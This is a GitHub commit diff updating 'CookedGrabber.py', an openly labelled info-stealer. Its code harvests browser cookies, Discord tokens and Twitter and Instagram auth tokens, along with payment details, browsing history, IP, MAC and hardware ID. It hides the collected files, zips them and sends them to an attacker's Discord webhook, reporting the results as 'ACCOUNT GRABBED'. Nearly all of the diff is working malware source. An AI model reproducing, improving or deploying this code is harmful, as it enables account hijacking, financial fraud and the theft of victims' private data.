Skip to content
This repository was archived by the owner on Aug 12, 2024. It is now read-only.

Commit f753c4b

Browse files
authored
Update CookedGrabber.py
1 parent 0986df4 commit f753c4b

File tree

1 file changed

+16
-23
lines changed

1 file changed

+16
-23
lines changed

CookedGrabber.py

+16-23
Original file line numberDiff line numberDiff line change
@@ -19,11 +19,11 @@
1919
from prettytable import PrettyTable
2020
from platform import platform
2121
from getmac import get_mac_address as gma
22-
from pycountry import countries
23-
from cpuinfo import get_cpu_info
2422
from psutil import virtual_memory
2523
from collections import defaultdict
2624
from zipfile import ZipFile, ZIP_DEFLATED
25+
from cpuinfo import get_cpu_info
26+
from multiprocessing import freeze_support
2727

2828
website = ['discord.com', 'twitter.com', 'instagram.com']
2929

@@ -43,15 +43,7 @@ def has_payment_methods(tk):
4343

4444
def cookies_grabber_mod(u):
4545
cookies = []
46-
browsers = [
47-
"chrome",
48-
"edge",
49-
"firefox",
50-
"brave",
51-
"opera",
52-
"vivaldi",
53-
"chromium",
54-
]
46+
browsers = ["chrome", "edge", "firefox", "brave", "opera", "vivaldi", "chromium"]
5547
for browser in browsers:
5648
try:
5749
cookies.append(str(getattr(browser_cookie3, browser)(domain_name=u)))
@@ -131,7 +123,7 @@ def main():
131123
db = connect(filename)
132124
db.text_factory = lambda b: b.decode(errors="ignore")
133125
for w in website:
134-
if w == 'discord.com':
126+
if w == website[0]:
135127
tokens = []
136128
def discord_tokens(path):
137129
for file_name in os.listdir(path):
@@ -160,17 +152,17 @@ def find_wb(wb):
160152
for t in threads:
161153
t.start()
162154
t.join()
163-
elif w == 'twitter.com':
155+
elif w == website[1]:
164156
t_cookies, t_lst = ([] for _ in range(2))
165-
for b in cookies_grabber_mod('twitter.com'):
157+
for b in cookies_grabber_mod(w):
166158
t_cookies.append(b.split(', '))
167159
for c in t_cookies:
168160
for y in c:
169161
if search(r"auth_token", y) != None:
170162
t_lst.append(y.split(' ')[1].split("=")[1])
171-
elif w == 'instagram.com':
163+
elif w == website[2]:
172164
insta_cookies, insta_lst = ([] for _ in range(2))
173-
for b in cookies_grabber_mod('instagram.com'):
165+
for b in cookies_grabber_mod(w):
174166
insta_cookies.append(b.split(', '))
175167
browser_ = defaultdict(dict)
176168
for c in insta_cookies:
@@ -188,9 +180,8 @@ def find_wb(wb):
188180
for x in insta_lst:
189181
for y in x:
190182
x[x.index(y)] = y[1]
191-
all_data_p, lst_b = ([] for _ in range(2))
192183
for x in tokens:
193-
lst_b = has_payment_methods(x)
184+
all_data_p, lst_b = [] ,has_payment_methods(x)
194185
try:
195186
for n in range(len(lst_b)):
196187
if lst_b[n]['type'] == 1:
@@ -245,13 +236,13 @@ def send_webhook(DISCORD_WEBHOOK_URLs):
245236
payment_p.field_names = ["Email", "Type", "Billing Adress"]
246237
payment_p.add_row([_p[0], "Paypal", _p[2]])
247238
pay_l.append(payment_p.get_string())
248-
files_names = [["Discord Tokens.txt", "discord_T"], ["Twitter Token.txt", "twitter_T"], ["Instagram Token.txt", "insta_T"]]
239+
files_names = [["Discord Tokens.txt", discord_T], ["Twitter Tokens.txt", twitter_T], ["Instagram Tokens.txt", insta_T]]
249240
for x_, y_ in files_names:
250-
if (y_ == files_names[0][1] and len(main_info[0])!=0) or (y_ == files_names[1][1] and len(main_info[1])!=0) or (y_ == files_names[2][1] and len(main_info[2])!=0):
241+
if (y_ == files_names[0][1] and len(main_info[0])!=0) or (y_ == files_names[1][1] and len(main_info[1])!=0) or (y_ == files_names[2][1] and len(main_info[2])!=0) or (y_ == files_names[3][1] and len(main_info[4])!=0):
251242
replace_new(x_)
252243
with open(x_, 'w') as wr:
253244
SetFileAttributes(x_, win32con.FILE_ATTRIBUTE_HIDDEN)
254-
wr.write(eval(f"{y_}.get_string()"))
245+
wr.write(y_.get_string())
255246
replace_new("data.zip")
256247
with ZipFile("data.zip", mode='w', compression=ZIP_DEFLATED) as zip:
257248
SetFileAttributes("data.zip", win32con.FILE_ATTRIBUTE_HIDDEN)
@@ -263,6 +254,7 @@ def send_webhook(DISCORD_WEBHOOK_URLs):
263254
f.write(f"{i}\n")
264255
zip.write("Payment Info.txt")
265256
os.remove("Payment Info.txt")
257+
replace_new("History.txt")
266258
with open('History.txt', 'w') as f:
267259
SetFileAttributes("History.txt", win32con.FILE_ATTRIBUTE_HIDDEN), f.write(find_His())
268260
zip.write("History.txt")
@@ -275,9 +267,9 @@ def send_webhook(DISCORD_WEBHOOK_URLs):
275267
webhook = DiscordWebhook(url=URL, username='H4XOR', avatar_url="https://images-ext-1.discordapp.net/external/0b5bkDNyeu-6aaEBkJECuydS2b0hIFcnnSNuvhlUjbM/https/i.pinimg.com/736x/42/d2/f5/42d2f541c7e6437272b01920b97a7282.jpg")
276268
embed = DiscordEmbed(title='Cooked Grabber', color='00FF00')
277269
embed.add_embed_field(name='SYSTEM USER INFO', value=f":pushpin:`PC Username:` **{os.getenv('UserName')}**\n:computer:`PC Name:` **{os.getenv('COMPUTERNAME')}**\n:globe_with_meridians:`OS:` **{platform()}**\n", inline=False)
278-
embed.add_embed_field(name='IP USER INFO', value=f":eyes:`IP:` **{p_lst[0]}**\n:golf:`Country:` **{p_lst[1]}** :flag_{countries.get(name=p_lst[1]).alpha_2.lower()}:\n:cityscape:`City:` **{p_lst[2]}**\n:shield:`MAC:` **{gma()}**\n:wrench:`HWID:` **{get_hwid()}**\n", inline=False)
270+
embed.add_embed_field(name='IP USER INFO', value=f":eyes:`IP:` **{p_lst[0]}**\n:golf:`Country:` **{p_lst[1]}** :flag_{get('https://restcountries.com/v3/name/morocco').json()[0]['cca2'].lower()}:\n:cityscape:`City:` **{p_lst[2]}**\n:shield:`MAC:` **{gma()}**\n:wrench:`HWID:` **{get_hwid()}**\n", inline=False)
279271
embed.add_embed_field(name='PC USER COMPONENT', value=f":satellite_orbital:`CPU:` **{cpuinfo['brand_raw']} - {round(float(cpuinfo['hz_advertised_friendly'].split(' ')[0]), 2)} GHz**\n:nut_and_bolt:`RAM:` **{round(virtual_memory().total / (1024.0 ** 3), 2)} GB**\n:desktop:`Resolution:` **{GetSystemMetrics(0)}x{GetSystemMetrics(1)}**\n", inline=False)
280-
embed.add_embed_field(name='ACCOUNT HACKED', value=f":red_circle:`Discord:` **{len(verified_tokens)}**\n:purple_circle:`Twitter:` **{len(main_info[1])}**\n:blue_circle:`Instagram:` **{len(main_info[2])}**\n", inline=False)
272+
embed.add_embed_field(name='ACCOUNT GRABBED', value=f":red_circle:`Discord:` **{len(verified_tokens)}**\n:purple_circle:`Twitter:` **{len(main_info[1])}**\n:blue_circle:`Instagram:` **{len(main_info[2])}**\n", inline=False)
281273
card_e, paypal_e = ":white_check_mark:" if 'payment_card' in locals() else ":x:", ":white_check_mark:" if 'payment_p' in locals() else ":x:"
282274
embed.add_embed_field(name='PAYMENT INFO FOUNDED', value=f":credit_card:`Debit or Credit Card:` {card_e}\n:money_with_wings:`Paypal:` {paypal_e}", inline=False)
283275
embed.set_author(
@@ -293,6 +285,7 @@ def send_webhook(DISCORD_WEBHOOK_URLs):
293285
os.remove("data.zip")
294286

295287
if __name__ == "__main__":
288+
freeze_support()
296289
if len(sys.argv) == 1:
297290
send_webhook(['YOUR DISCORD WEBHOOK URL'])
298291
else:

0 commit comments

Comments
 (0)